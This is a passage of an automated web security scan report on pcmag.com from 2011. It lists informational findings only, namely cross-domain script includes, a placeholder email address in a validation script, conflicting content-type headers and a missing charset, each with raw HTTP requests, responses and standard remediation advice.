<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript">
</script>
...[SNIP]...
<span class="slide-stumble">
<script src="http://www.stumbleupon.com/hostedbadge.php?s=2" type="text/javascript"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script src="http://content.dl-rms.com/rms/18788/nodetag.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script src="http://widgets.digg.com/buttons.js" type="text/javascript"></script>

<script type="text/javascript" src="http://pcmag.us.intellitxt.com/intellitxt/front.asp?ipid=5279"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...

8.8. http://www.pcmag.com/slideshow/story/264996/six-amazing-phone-technologies-we-want-in-iphone-5 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/slideshow/story/264996/six-amazing-phone-technologies-we-want-in-iphone-5

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js
http://api.recaptcha.net/js/recaptcha_ajax.js
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://pcmag.us.intellitxt.com/intellitxt/front.asp?ipid=5279
http://platform.twitter.com/widgets.js
http://static.ak.fbcdn.net/connect.php/js/FB.Share
http://widgets.digg.com/buttons.js
http://www.stumbleupon.com/hostedbadge.php?s=2
http://www.ziffdavis.com/js/betrad.js

Request

GET /slideshow/story/264996/six-amazing-phone-technologies-we-want-in-iphone-5 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
X-Powered-By: ASP.NET
Cache-Control: private, max-age=0
Expires: Fri, 03 Jun 2011 20:43:03 GMT
Date: Fri, 03 Jun 2011 20:43:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 93606

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>S
...[SNIP]...
</script>

<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript">
</script>
...[SNIP]...
<span class="slide-stumble">
<script src="http://www.stumbleupon.com/hostedbadge.php?s=2" type="text/javascript"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script src="http://widgets.digg.com/buttons.js" type="text/javascript"></script>

<script type="text/javascript" src="http://pcmag.us.intellitxt.com/intellitxt/front.asp?ipid=5279"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...

8.9. http://www.pcmag.com/slideshow/story/265120/9-features-we-d-like-to-see-in-ios-5 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/slideshow/story/265120/9-features-we-d-like-to-see-in-ios-5

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js
http://api.recaptcha.net/js/recaptcha_ajax.js
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://pcmag.us.intellitxt.com/intellitxt/front.asp?ipid=5279
http://platform.twitter.com/widgets.js
http://static.ak.fbcdn.net/connect.php/js/FB.Share
http://widgets.digg.com/buttons.js
http://www.stumbleupon.com/hostedbadge.php?s=2
http://www.ziffdavis.com/js/betrad.js

Request

GET /slideshow/story/265120/9-features-we-d-like-to-see-in-ios-5 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: p3
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
X-Powered-By: ASP.NET
Cache-Control: private, max-age=0
Expires: Fri, 03 Jun 2011 20:43:03 GMT
Date: Fri, 03 Jun 2011 20:43:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 90551

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>9
...[SNIP]...
</script>

<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript">
</script>
...[SNIP]...
<span class="slide-stumble">
<script src="http://www.stumbleupon.com/hostedbadge.php?s=2" type="text/javascript"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script src="http://widgets.digg.com/buttons.js" type="text/javascript"></script>

<script type="text/javascript" src="http://pcmag.us.intellitxt.com/intellitxt/front.asp?ipid=5279"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...

8.10. http://www.pcmag.com/slideshow/story/265209/five-security-apps-that-can-help-recover-a-stolen-laptop previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/slideshow/story/265209/five-security-apps-that-can-help-recover-a-stolen-laptop

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js
http://api.recaptcha.net/js/recaptcha_ajax.js
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://pcmag.us.intellitxt.com/intellitxt/front.asp?ipid=5279
http://platform.twitter.com/widgets.js
http://static.ak.fbcdn.net/connect.php/js/FB.Share
http://widgets.digg.com/buttons.js
http://www.stumbleupon.com/hostedbadge.php?s=2
http://www.ziffdavis.com/js/betrad.js

Request

GET /slideshow/story/265209/five-security-apps-that-can-help-recover-a-stolen-laptop HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: p3
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
X-Powered-By: ASP.NET
Cache-Control: private, max-age=0
Expires: Fri, 03 Jun 2011 20:43:02 GMT
Date: Fri, 03 Jun 2011 20:43:02 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 93708

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>F
...[SNIP]...
</script>

<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript">
</script>
...[SNIP]...
<span class="slide-stumble">
<script src="http://www.stumbleupon.com/hostedbadge.php?s=2" type="text/javascript"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script src="http://widgets.digg.com/buttons.js" type="text/javascript"></script>

<script type="text/javascript" src="http://pcmag.us.intellitxt.com/intellitxt/front.asp?ipid=5279"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...

9. Email addresses disclosed previous next
There are 3 instances of this issue:

/CombineCssHandler.ashx
/CombineScriptHandler.aspx
/Content/images/ui-bg_glass_75_ffffff_1x400.png

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

9.1. http://www.pcmag.com/CombineCssHandler.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/CombineCssHandler.ashx

Issue detail

The following email address was disclosed in the response:

joe@example.com

Request

GET /CombineCssHandler.ashx HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/6.0
X-Powered-By: p3
Content-Length: 24559
Content-Type: text/html
Vary: Accept-Encoding
Cache-Control: private, max-age=1209600
Date: Fri, 03 Jun 2011 20:43:02 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<script langu
...[SNIP]...
ment.getElementById('email').value;
   var patt = new RegExp(/.+@.+\.[a-zA-Z]{2,4}$/);
   if (email != '' && patt.test(email) ) {
       return true;
   }
   alert ('Please enter a valid email address. e.g. joe@example.com');
   return false;
}
</script>
...[SNIP]...

9.2. http://www.pcmag.com/CombineScriptHandler.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/CombineScriptHandler.aspx

Issue detail

The following email address was disclosed in the response:

joe@example.com

Request

GET /CombineScriptHandler.aspx HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/6.0
X-Powered-By: p3
Content-Length: 24559
Content-Type: text/html
Vary: Accept-Encoding
Cache-Control: private, max-age=1209600
Date: Fri, 03 Jun 2011 20:43:02 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<script langu
...[SNIP]...
ment.getElementById('email').value;
   var patt = new RegExp(/.+@.+\.[a-zA-Z]{2,4}$/);
   if (email != '' && patt.test(email) ) {
       return true;
   }
   alert ('Please enter a valid email address. e.g. joe@example.com');
   return false;
}
</script>
...[SNIP]...

9.3. http://www.pcmag.com/Content/images/ui-bg_glass_75_ffffff_1x400.png previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/Content/images/ui-bg_glass_75_ffffff_1x400.png

Issue detail

The following email address was disclosed in the response:

joe@example.com

Request

Response

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 24557
Content-Type: text/html
Vary: Accept-Encoding
Cache-Control: private, max-age=1209597
Date: Fri, 03 Jun 2011 17:55:01 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<script langu
...[SNIP]...
ment.getElementById('email').value;
   var patt = new RegExp(/.+@.+\.[a-zA-Z]{2,4}$/);
   if (email != '' && patt.test(email) ) {
       return true;
   }
   alert ('Please enter a valid email address. e.g. joe@example.com');
   return false;
}
</script>
...[SNIP]...

10. Multiple content types specified previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/Content/images/ui-bg_glass_75_ffffff_1x400.png

Issue detail

The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:

Content-Type: application/octet-stream
text/html; charset=iso-8859-1

Issue background

If a web response specifies multiple incompatible content types, then the browser will usually analyse the response and attempt to determine the actual MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of multiple incompatible content type statements does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

Response

11. HTML does not specify charset previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/light_registration_form/

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

Response

Report generated by XSS.CX at Sun Jun 05 07:19:37 CDT 2011.